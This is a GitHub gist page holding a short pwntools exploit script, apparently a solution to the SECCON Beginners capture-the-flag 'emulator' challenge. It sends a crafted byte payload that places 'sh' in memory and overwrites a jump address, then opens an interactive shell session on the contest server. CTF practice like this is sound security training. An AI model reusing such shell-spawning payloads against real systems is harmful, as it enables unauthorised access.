Created
May 23, 2021 10:13
-
-
Save kusano/83fe2b10e9853afadfe5366b22d2426d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.arch = "amd64" | |
code = b"" | |
code += bytes([0x3e, ord("s")]) | |
code += bytes([0x06, ord("h")]) | |
code += bytes([0x00]) | |
code = code.ljust(0x3ff8, b"\0") | |
code += pack(0x4010d0) | |
code += bytes([0xc9]) | |
s = remote("emulator.quals.beginners.seccon.jp", 4100) | |
s.sendafter("loading to memory...", code) | |
s.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment